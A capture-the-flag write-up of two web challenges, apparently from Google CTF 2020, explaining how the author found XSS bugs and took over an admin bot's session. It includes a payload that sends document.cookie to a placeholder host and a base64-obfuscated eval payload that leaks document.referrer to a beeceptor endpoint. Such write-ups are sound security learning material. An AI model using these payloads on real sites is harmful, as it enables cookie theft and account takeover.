googleCTF2020 web challenges writeup Written By pop_eax


this was the easiest web challenge in the CTF


we have a paste sharing site


sharing a paste, we find that we can share our pastes with the admin (TJMike)



from what I have now, I can see that XSS is what I am supposed to look for
when testing for xss I always throw this payload to see how the sanitaization is being done


checking the source code verifies the input is getting sanitaizied

while reading the source code I realized I missed that comment



looking at it I was able to verify that the sanitaization is only done on client side with DOMpurify


I tried to bypass DOMpurify and read the source code, but that led to nothing since the version used in here is safe.

at this point I thought to myself
DOMpurify shouldn’t be bypassed since it’s a really good project used everywhere and the high number of solves to the challenge doesn’t make me feel like we need to discover a 0day for such an easy challenge.

so I took it simply, and reviewd everything I have simply then an idea clicked in my mind

const note = "asdasd";
const note_id = "cb33322e-4b48-4d0f-a748-1e509be9645d";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;

what if we put a " in our input and get a DOM based XSS


aaand it’s getting escaped.

is that the end of it then ?
nope, it’s not I went back the server side source code and I saw something interesting

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

the comment was interesting, when I first looked at it I felt like it’s a useless thing since it encodes the greater/less than signs.

but the comment felt odd at this point, so I tried to play with the code locally.


now I understood why the slice is important. I looked at examples online for JSON.stringify and saw that there’s only 1 case that doesn’t start with " which is when passing an object to it.


I fired up burp suite and sent a json object and the quotes wasn’t there :(
that’s because my input is getting passed to the backend as a string not as an object

req res

I did some research and then I remembered that I can send raw objects with param[]=thing in http.

req res


crafting this payload


alert alerted-source

now time to hack TJMike

content[]=;new Image().src="http://domain/"+(document.cookie);//




this challenge was fairly simple but it had a lot of rabbit holes which was really interesting.

the app is a normal site with a admin chat service too so basically it’s xss

we have the following features:





/me (profile)


in here I updated the address with this payload


and it worked :) .
but that was so useless, since it’s a self XSS and by no way the admin can access it since the address value is stored in the cookies.

(╯°□°)╯︵ ┻━┻

/chat (the interesting thing)


now inputting the pervious payload didn’t really work so I tried this

<img src=X onerror=alert(1)>

isn’t this another self xss ?
I thought the same too don’t worry.

after submitting the form I new window popped up, which felt interesting
it’s literally useless btw


now I got a random thought of trying to send an legit image and to check who fetches it


and I got 2 requests :)


at this point I tried to grab the /flag and send to my server and it didn’t work.
after researching it I realized it’s not working because the XSS is triggering on another domain which is .

at this point I was trying to do some weird magical stuff like SOP bypasses and I thought about redirecting to the self xss at my profile somehow

all of that is useless

after sending a lot of requests I thought about leaking more info from what we have
so I started getting document.thing stuff and document.referrer returned something cool

the payload

<img src=X onerror=eval(atob("d2luZG93LmxvY2F0aW9uID0gImh0dHBzOi8veG9yZWF4LmZyZWUuYmVlY2VwdG9yLmNvbS9sZWFrP3E9IiArIGRvY3VtZW50LnJlZmVycmVy"))>

spaces started messing, how the payload works so I base64 encoded it so I decoded it with atob and executed it with eval the decoded value

window.location = "" + document.referrer

P.S: you can base64 encode in javascript with btoa

I got the following url from the bot{mypayload here}

then I went to that url and it auto logged me as admin :P


now going to /flag


and DONE


tool used to get http requests beeceptor